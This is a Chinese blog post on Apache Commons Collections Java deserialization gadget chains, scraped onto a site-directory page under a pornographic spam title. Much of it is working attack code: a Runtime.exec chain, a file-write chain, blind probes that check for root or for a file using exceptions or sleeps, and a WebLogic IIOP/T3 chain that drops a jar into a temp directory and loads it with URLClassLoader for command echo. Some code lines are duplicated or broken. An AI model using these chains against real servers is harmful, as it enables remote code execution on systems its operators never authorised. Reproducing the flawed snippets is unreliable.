日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

1 簡(jiǎn)介

眾所周知,CommonCollection Gadget主要是由ConstantTransformer,InvokerTransformer,ChainedTransformer構(gòu)成。gadget主要通過Transformer接口 的transform方法,對(duì)輸入的對(duì)象做變換。ConstantTransformer不會(huì)做任何變換,只會(huì)返回類在實(shí)例化時(shí)傳入的對(duì)象,InvokerTransformer會(huì)對(duì)類在實(shí)例化時(shí)傳入的參數(shù),通過反射去調(diào)用,ChainedTransformer將所有的Transformer連接起來,上一個(gè)Transformer的transform方法的結(jié)果,作為下一個(gè)Transformer的transform方法的參數(shù)。這樣就完成JAVA反序列化的gadget。下面為調(diào)用Runtime執(zhí)行calc的CommonCollection的chain

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

上面的chain等效與下面的代碼

Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object

從上面的代碼中我們可以暫時(shí)得出以下結(jié)論

  1. 只有鏈?zhǔn)秸{(diào)用的方法才可以被改寫成CommonCollection執(zhí)行鏈
  2. gadget中,不能有變量聲明語句
  3. 沒有while等語句
  4. 一切操作靠反射

2 CommonCollection其他Transform的簡(jiǎn)介


org.Apache.commons.collections.functors中,所有的類都可以被簡(jiǎn)單的分為三類,分別繼承自Transformer接口, Predicate接口,Closure接口。這三個(gè)接口主要有以下區(qū)別

  1. Transformer接口接收一個(gè)對(duì)象,返回對(duì)象的執(zhí)行結(jié)果
  2. Closure接口接收一個(gè)對(duì)象,不返回對(duì)象的執(zhí)行結(jié)果
  3. Predicate接口,類似條件語句,會(huì)根據(jù)執(zhí)行結(jié)果,返回true或者false。這個(gè)將主要用在SwitchTransformer類中

對(duì)于我們來說,Closure接口沒有太多用,下面主要介紹一下繼承自Transformer接口的類與繼承自Predicate接口的類

繼承自Transformer接口的類

ChainedTransformer

將實(shí)例化后的Transformer的類的數(shù)組,按順序一個(gè)一個(gè)執(zhí)行,前面的transform結(jié)果作為下一個(gè)transform的輸出。

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

CloneTransformer

調(diào)用并返回輸入對(duì)象clone方法的結(jié)果

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        return PrototypeFactory.getInstance(input).create();
    }

ClosureTransformer

將Closure接口的類轉(zhuǎn)換為Transformer

    public Object transform(Object input) {
        iClosure.execute(input);
        return input;
    }

ConstantTransformer

調(diào)用transform方法,只返回類在實(shí)例化時(shí)存儲(chǔ)的類

public Object transform(Object input) {    return iConstant;}

ExceptionTransformer

拋出一個(gè)異常,F(xiàn)unctorException

public Object transform(Object input) {    throw new FunctorException("ExceptionTransformer invoked");}

FactoryTransformer

調(diào)用相應(yīng)的工廠類并返回結(jié)果

public Object transform(Object input) {    return iFactory.create();}

InstantiateTransformer

根據(jù)給定的參數(shù),在調(diào)用transform方法的時(shí)候?qū)嵗粋€(gè)類

    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

InvokerTransformer

調(diào)用transform方法的時(shí)候,根據(jù)類在實(shí)例化時(shí)提供的參數(shù),通過反射去調(diào)用輸入對(duì)象的方法

MapTransformer

在調(diào)用transform方法時(shí),將輸入函數(shù)作為key,返回類在實(shí)例化時(shí)參數(shù)map的value

public Object transform(Object input) {    return iMap.get(input);}

NOPTransformer

啥也不干的Transformer

public Object transform(Object input) {    return input;}

SwitchTransformer

類似if語句,在如果條件為真,則執(zhí)行第一個(gè)Transformer,如果條件為假,則執(zhí)行第二個(gè)Transformer

    public Object transform(Object input) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(input) == true) {
                return iTransformers[i].transform(input);
            }
        }
        return iDefault.transform(input);
    }

PredicateTransformer

將Predicate包裝為Transformer

public Object transform(Object input) {    return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);}

StringValueTransformer

調(diào)用String.valueOf,并返回結(jié)果

public Object transform(Object input) {
        return String.valueOf(input);
    }

繼承自Predicate接口的類

AllPredicate

在執(zhí)行多個(gè)Predicate,是否都返回true。

    public boolean evaluate(Object object) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(object) == false) {
                return false;
            }
        }
        return true;
    }

AndPredicate

兩個(gè)Predicate是否都返回true

public boolean evaluate(Object object) {
       return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));
    }

AnyPredicate

與AllPredicate相反,只要有任意一個(gè)Predicate返回true,則返回true

    public boolean evaluate(Object object) {
        for (int i = 0; i < iPredicates.length; i++) {
            if (iPredicates[i].evaluate(object)) {
                return true;
            }
        }
        return false;
    }

EqualPredicate

輸入的對(duì)象是否與類在實(shí)例化時(shí)提供的對(duì)象是否一致

public boolean evaluate(Object object) {    return (iValue.equals(object));}

ExceptionPredicate

在執(zhí)行evaluate時(shí)拋出一個(gè)異常

FalsePredicate

永遠(yuǎn)返回False

IdentityPredicate

evaluate方法中輸入的對(duì)象是否與類實(shí)例化時(shí)提供的類是否一樣

public boolean evaluate(Object object) {    return (iValue == object);}

InstanceofPredicate

輸入的對(duì)象是否與類實(shí)例化時(shí)提供的類的類型是否一致

public boolean evaluate(Object object) {    return (iType.isInstance(object));}

NotPredicate

對(duì)evaluate的結(jié)果取反操作

public boolean evaluate(Object object) {    return !(iPredicate.evaluate(object));}

NullIsExceptionPredicate

如果輸入的對(duì)象為null,則拋出一個(gè)異常

NullIsFalsePredicate

如果輸入的對(duì)象為null,則返回false

NullIsTruePredicate

如果輸入的對(duì)象為null,則返回true

NullPredicate

輸入的對(duì)象是否為null

OrPredicate

類似與條件語句中的或

public boolean evaluate(Object object) {   return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));}

TransformerPredicate

將一個(gè)Transformer包裝為Predicate

0x03 使用方法

CommonCollection寫入文件

這種方法通過InvokerTransformr調(diào)用構(gòu)造函數(shù),然后再寫入文件。當(dāng)然,這里我們可以使用InstantiateTransformer去實(shí)例化FileOutputStream類去寫入文件,代碼如下

                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(FileOutputStream.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        String.class, Boolean.TYPE
                                },
                                new Object[]{
                                        "filePath, false
                                }),
                        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
                }),

Gadget版盲注

思想類似于Sql的盲注。我們可以通過如下語句檢測(cè)java進(jìn)程是否是root用戶

if (System.getProperty("user.name").equals("root")){
    throw new Exception();
}

我們可以通過如下cc鏈,執(zhí)行該語句

        TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        new ChainedTransformer(new Transformer[]{
                                new ConstantTransformer(System.class),
                                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
                                new InvokerTransformer("invoke",
                                        new Class[]{Object.class, Object[].class},
                                        new Object[]{null, new Object[]{"user.name"}}),
                                new InvokerTransformer("toString",
                                        new Class[]{},
                                        new Object[0]),
                                new InvokerTransformer("toLowerCase",
                                        new Class[]{},
                                        new Object[0]),
                                new InvokerTransformer("contains",
                                        new Class[]{CharSequence.class},
                                        new Object[]{"root"}),
                        })),
                new TransformerUtils.exceptionTransformer(),
                new TransformerUtils.nopTransformer());

是否存在某些文件

if (File.class.getConstructor(String.class).newInstance("/etc/passed").exists()){
    Thread.sleep(7000);
}

改寫成cc鏈

TransformerUtils.switchTransformer(
    PredicateUtils.asPredicate(
        new ChainedTransformer( new Transformer[] {
            new ConstantTransformer(File.class),
            new InstantiateTransformer(
                    new Class[]{
                            String.class
                    },
                    new Object[]{
                            path
                    }),
            new InvokerTransformer("exists", null, null)
        })
    ),

    new ChainedTransformer( new Transformer[] {
        new ConstantTransformer(Thread.class),
        new InvokerTransformer("getMethod",
                new Class[]{
                        String.class, Class[].class
                },
                new Object[]{
                        "sleep", new Class[]{Long.TYPE}
                }),
        new InvokerTransformer("invoke",
                new Class[]{
                        Object.class, Object[].class
                }, new Object[]
                {
                        null, new Object[] {7000L}
                })
    }),

    TransformerUtils.nopTransformer();)

weblogic iiop/T3回顯

主要問題有 目前只能用URLClassloader,但是需要確定上傳到weblogic服務(wù)器的位置。而這里我們知道,windows與linux的臨時(shí)目錄以及file協(xié)議訪問上傳文件的絕對(duì)路徑肯定不一樣。如果只用invokerTransform的話,最簡(jiǎn)單的執(zhí)行回顯的方案如下

sequenceDiagram
攻擊者->>weblogic: 上傳至Linux的臨時(shí)目錄/tmp/xxx.jar
攻擊者->>weblogic: 調(diào)用urlclassloader加載,安裝實(shí)例
攻擊者->>weblogic:通過lookup查找實(shí)例,檢測(cè)是否安裝成功
weblogic->>攻擊者: 安裝成功,結(jié)束
weblogic->>攻擊者: 安裝失敗,拋出異常
攻擊者->>weblogic: 上傳至windows的臨時(shí)目錄 C:\Windows\Temp\xxx.jar
攻擊者->>weblogic: 調(diào)用urlclassloader加載,安裝實(shí)例
攻擊者->>weblogic:通過lookup查找實(shí)例,檢測(cè)是否安裝成功
weblogic->>攻擊者: 安裝成功 結(jié)束
weblogic->>攻擊者: 安裝失敗

攻擊一次weblogic服務(wù)器,最多可能需要發(fā)送6次反序列化包,才能成功的給weblogic服務(wù)器安裝實(shí)例。這顯然不符合我們精簡(jiǎn)代碼的思想。下面我們用正常思維的方式去執(zhí)行一下攻擊過程

if (os == 'win'){
    fileOutput(winTemp)
    }
else{
    fileOutput(LinuxTemp)
    }
if (os == 'win'){
    urlclassloader.load(winTemp)
    }
else{
    urlclassloader.load(LinuxTemp)
    }

這里我們可以使用SwitchTransformer + Predicate + ChainedTransformer 組合去完成。

  1. SwitchTransformer類似于if語句
  2. Predicate類似于條件語句
  3. ChainedTransformer 將所有的語句串起來執(zhí)行

SwitchTransformer類需要一個(gè)Predicate,而這里TransformerPredicate可以將一個(gè)Transformer轉(zhuǎn)換為一個(gè)Predicate。所以我們需要一個(gè)可以判斷操作系統(tǒng)的chain。然后將判斷操作系統(tǒng)的chain作為Predicate,調(diào)用switchTransformer,根據(jù)結(jié)果,將可執(zhí)行ja包寫入win或者linux的臨時(shí)目錄。然后再調(diào)用第二個(gè)switchTransformer,根據(jù)操作系統(tǒng)的類型,調(diào)用URLclassloader分別加載相應(yīng)上傳位置的jar包,通過chainedTransformer將兩個(gè)SwitchTransformer將兩個(gè)SwitchTransform連接起來。代碼如下

        Transformer t = TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        getSysTypeTransformer()
                ),
                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(FileOutputStream.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        String.class, Boolean.TYPE
                                },
                                new Object[]{
                                        "C:\Windows\Temp\xxx.jar", false
                                }),
                        new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})
                }),
                TransformerUtils.nopTransformer());

        Transformer t1 = TransformerUtils.switchTransformer(
                PredicateUtils.asPredicate(
                        getSysTypeTransformer()
                ),
                new ChainedTransformer(new Transformer[]{
                        new ConstantTransformer(URLClassLoader.class),
                        new InstantiateTransformer(
                                new Class[]{
                                        URL[].class
                                },
                                new Object[]{
                                        new URL[]{new URL("file:/C:\Windows\Temp\xxx.jar")}
                                }),
                        new InvokerTransformer("loadClass",
                                new Class[]{String.class}, new Object[]{className}),
                        new InvokerTransformer("getMethod",
                                new Class[]{String.class, Class[].class}, new Object[]{"test", new Class[]{String.class}}),
                        new InvokerTransformer("invoke",
                                new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{op}})}),
                TransformerUtils.nopTransformer()); // 這塊自行改成linux的吧

        Transformer list = new ChainedTransformer(new Transformer[]{
                t,
                t1
        });

    private static ChainedTransformer getSysTypeTransformer() {
        return new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(System.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[]{"os.name"}}),
                new InvokerTransformer("toString",
                        new Class[]{},
                        new Object[0]),
                new InvokerTransformer("toLowerCase",
                        new Class[]{},
                        new Object[0]),
                new InvokerTransformer("contains",
                        new Class[]{CharSequence.class},
                        new Object[]{"win"}),
        });
    }

參考:

  1. https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/functors/SwitchTransformer.html
  2. https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html#WhileClosure

分享到:
標(biāo)簽:Apache
用戶無頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定